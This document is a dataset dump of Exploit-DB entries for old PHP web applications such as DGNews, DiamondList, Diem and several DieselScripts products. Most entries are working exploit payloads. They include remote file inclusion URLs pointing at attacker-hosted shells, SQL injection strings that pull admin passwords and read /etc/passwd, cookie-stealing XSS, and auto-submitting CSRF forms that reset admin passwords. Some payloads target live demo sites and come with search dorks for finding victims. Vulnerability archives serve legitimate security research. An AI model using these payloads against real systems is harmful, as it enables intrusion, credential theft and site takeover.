deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32468
Description: DFFFrameworkAPI - 'DFF_config[dir_include]' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-10-08
Author: GoLd_M

Exploit:
source: https://www.securityfocus.com/bid/31644/info

DFFFrameworkAPI is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=
Exploit-DB #1706
Description: dForum 1.5 - 'DFORUM_PATH' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-04-21
Author: nukedx

Exploit:
dForum <= 1.5 (DFORUM_PATH) Multiple Remote File Inclusion Vulnerabilities.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on dForum <= 1.5
http://[victim]/[dForumPath]/[filename]?DFORUM_PATH=http://yourhost.com/cmd.txt?
Files ->
about.php
admin.php
anmelden.php
closethread.php
config.php
delpost.php
delthread.php
dfcode.php
download.php
editanoc.php
forum.php
login.php
makethread.php
menu.php
newthread.php
openthread.php
overview.php
post.php
suchen.php
user.php
userconfig.php
userinfo.php
verwalten.php
Original advisory: http://www.nukedx.com/?viewdoc=27
# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
Exploit-DB #30095
Description: DGNews 1.5.1/2.1 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-28
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24201/info

DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

DGNews 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1
Exploit-DB #30094
Description: DGNews 2.1 - 'footer.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-28
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24200/info

DGNews is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects DGNews 2.1; other versions may also be affected. 

http://www.example.com/footer.php?copyright=[xss]
Exploit-DB #30099
Description: DGNews 2.1 - 'NewsID' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-28
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24212/info

DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

DGNews 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2
0news_comment
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F[PII_REDACTED]65322F6874646F63732F64676E657
7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment
Exploit-DB #15853
Description: DGNews 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-29
Author: kalashnikov

Exploit:
#Remote SQL Injection Vulnerability
#name      : DGNews v 2.1
#Author    : kalashnikov
#dork      : inurl:news.php?go=fullnews&newsid
#admincp   : admin/login.php 
// the user is "admin"===========MYSQL INJ=======
http://localhost/pach/news.php?go=fullnews&newsid=1'
===========================
Warning: mysql_num_rows(): /home/user/public_html/news.php on line 227===========================
# Site      : http://vbspiders.com
# Group     : KaLa$nikoV t34m
# Date      : {26-12-2010}
# Software  : DGNews v 2.1
# Greetz    : just me :L
# team      : VoLc4n0 --=-- stone love --=-- fla$h 

#Remote SQL Injection Vulnerability
#name      : DGNews v 2.1#
Author    : kalashnikov
#dork      : inurl:news.php?go=fullnews&newsid
#admincp   : admin/login.php 
// the user is "admin"===========MYSQL INJ=======
http://localhost/pach/news.php?go=fullnews&newsid=1' 
===========================
Warning: mysql_num_rows(): /home/user/public_html/news.php on line 227
===========================
# Site      : http://vbspiders.com
# Group     : KaLa$nikoV t34m
# Date      : {26-12-2010}# Software  : DGNews v 2.1# Greetz    : just me :L
# team      : VoLc4n0 --=-- stone love --=-- fla$h
Exploit-DB #8727
Description: DGNews 3.0 Beta - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-18
Author: Cyber-Zone

Exploit:
********************************************************************
* DGNews 3.0 Beta (berita.php) Remote SQL Injection Vulnerability  *
********************************************************************
            
http://diangemilang.com/news/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--
            
mysql 5 :)
            
Download :- http://www.diangemilang.com/download/comment.php?dlid=33&ENGINEsessID=2fcff934ccb74a561cd4c5df3dacd345

# milw0rm.com [2009-05-18]
Exploit-DB #32567
Description: DHCart 3.84 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/32117/info

DHCart is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

DHCart 3.84 is vulnerable; other versions may also be affected.

http://www.example.com/order.php?dhaction=check&submit_domain=Register&domain=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&ext1=on

http://www.example.com/order.php?dhaction=add&d1=lalalalasss%22%3E%3Cscript%3Ealert(1)%3C/script%3E&x1=.com&r1=0&h1=1&addtocart1=on&n=3
Exploit-DB #51529
Description: Diafan CMS 6.0 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-06-19
Author: tmrswrr

Exploit:
# Exploit Title: Diafan CMS 6.0 - Reflected Cross-Site Scripting (XSS)
# Exploit Author: tmrswrr / Hulya Karabag
# Vendor Homepage: https://www.diafancms.com/
# Version: 6.0
# Tested on: https://demo.diafancms.com


Description:

1) https://demo.diafancms.com/ Go to main page and write your payload in Search in the goods > Article field:
Payload : "><script>alert(document.domain)<%2Fscript>
2) After will you see alert button : 
https://demo.diafancms.com/shop/?module=shop&action=search&cat_id=0&a=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pr1=0&pr2=0
Exploit-DB #34414
Description: DiamondList - '/user/main/update_category?category[description]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42252/info
 
DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_category/CATEGORY_ID" method="post"  name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #34413
Description: DiamondList - '/user/main/update_settings?setting[site_title]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42252/info

DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_settings" method="post"  name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #14565
Description: DiamondList 0.1.6 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22517
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/main/update_user/1" method="post" name="main" >

<input type="hidden" name="user[email]" value="admin (at) example (dot) com [email concealed]" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version
Exploit-DB #2808
Description: Dicshunary 0.1a - 'check_status.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-17
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :dicshunary 0.1 alpha

* Class = Remote File Inclusion ;
 
* Download =http://puzzle.dl.sourceforge.net/sourceforge/dicshunary/dicshunary_0.1alpha.tar.gz

* Found by = DeltahackingTEAM

* User In Delta Team (TAnha & Dr.Pantagon )

--------------------------------------------------------------------------------------------

--------------
- Vulnerable Code

include_once($dicshunary_root_path.'common.inc');

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

--------------

SP TNX : Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc,

**********************************************************************************************************

# milw0rm.com [2006-11-17]
Exploit-DB #34302
Description: Diem 5.1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41587/info

Diem is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Diem 5.1.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin.php/seo/pages/manage-pages/editField?dm_cpi=0&dm_xhr=1&value=title"><script>alert(document.cookie)<%2Fscript>&id=&page_id=1&field=title
http://www.example.com/admin.php/+/dmCore/markdown?dm_cpi=0&dm_xhr=1&text=title"><script>alert(document.cookie)<%2Fscript>

<form action="http://www.example.com/admin.php/content/blog/articles/filter" name="main" >
<input type="hidden" name="article_form_filter[name][text]" value=&#039;1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="article_form_filter[is_active]" value="" />
<input type="hidden" name="article_form_filter[text][text]" value="" />
<input type="hidden" name="article_form_filter[created_by]" value="" />
<input type="hidden" name="article_form_filter[created_at]" value="" />
<input type="hidden" name="article_form_filter[updated_at]" value="" />
</form>
<script>
document.main.submit();
</script>
Exploit-DB #6512
Description: Diesel Job Site - 'job_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: Stack

Exploit:
Diesel Job Site Blind Sql Injection P0c
Author : Stack
Home Script :  http://www.dieselscripts.com

Desc :
look the select Job Viewed: in [real id]+and+1=1 (true) the times change each time
but in [real id]+and+1=0 (false) it remains stable
 
go to url exploit or poc 2 or 3 times for see the difference
between (true) and (false)
 
P0c :
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+1=1
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+1=0
Exploit :
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+substring(@@version,1,1)=5
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+substring(@@version,1,1)=4
Live Demo P0c :
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+1=1
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+1=0
Live Demo Exploit :
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+substring(@@version,1,1)=5
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+substring(@@version,1,1)=4

# milw0rm.com [2008-09-21]
Exploit-DB #28142
Description: Diesel Joke Site - 'Category.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-01
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18760/info

Diesel Joke Site is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path to joke script/category.php?id=-99%20union%20select%20name,name,name,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid%20from%20admin/*
Exploit-DB #6488
Description: Diesel Joke Site - 'picture_category.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-18
Author: SarBoT511

Exploit:
################## sarbot511 #########################################################
#
#
#              jokes script  Remote SQL Injection Exploit
#
#    Founded by : sarbot511 
#    Dork: "All Rights Reserved. Powered by DieselScripts.com" 
#
##### Vuln Code: ###################################################################
#
#
###### Exploit #####################################################################
#
#   http://www.target.com/[path]/picture_category.php?id=-1%20union%20select%201,aid,3,4,5,6,7,8,apass,10,11,12%20from%20admin/*
#
###### Greets #######################################################################
#
#  Dr.LiNuX  ,  ABO3TB  , ALM511  ,master , all my frinds
#
####################################################################################

# milw0rm.com [2008-09-18]
Exploit-DB #6502
Description: Diesel Pay Script - 'area' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-20
Author: ZoRLu

Exploit:
[~] Diesel Pay Script
[~]
[~] index.php (area) sql inj
[~]
[~] http://www.dieselscripts.com
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 20.09.2008
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/index.php?a=browse&area=[SQL]

[SQL]= 

ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

Demo:

http://www.dieselscripts.com/demo/dieselpay/index.php?a=browse&area=ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] http://www.z0rlu.blogspot.com online : )
[~]
[~] home: yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-20]
Exploit-DB #33459
Description: DieselPay 1.6 - Cross-Site Scripting / Directory Traversal
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37564/info

DieselPay is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these vulnerabilities to obtain sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials.

DieselPay 1.6 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/dieselpay/index.php?read=<ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/dieselpay/index.php?read=../../../../../../../../boot.ini
Exploit-DB #28422
Description: DieselScripts Diesel Paid Mail - 'Getad.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-21
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19646/info

Paid Mail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[Script Path]/site/getad.php?refid=&email=default&ps=[XSS]
Exploit-DB #28412
Description: DieselScripts DieselPay - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-21
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19623/info

DieselPay is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[Script Path]/index.php?read=[XSS]
Exploit-DB #28411
Description: DieselScripts Job Site - 'Forgot.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-08-21
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19622/info

Multiple cross-site scripting vulnerabilities affect Job Site because the application fails to properly sanitize user-supplied input before including it in dynamically generated web content. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[Script Path]/jobseekers/forgot.php?uname=[XSS]&fu=Submit 
http://www.example.com/[Script Path]/jobseekers/forgot.php?SEmail=[XSS]&fm=Submit
Exploit-DB #10674
Description: DieselScripts jokes - Backup
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : jokes Backup Vulnerability                                              |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Copyright © 2004 äßÊ ÓÚæÏí Ýí Èí . Powered by DieselScripts.com         |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/jokes/admin/backup/dump/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------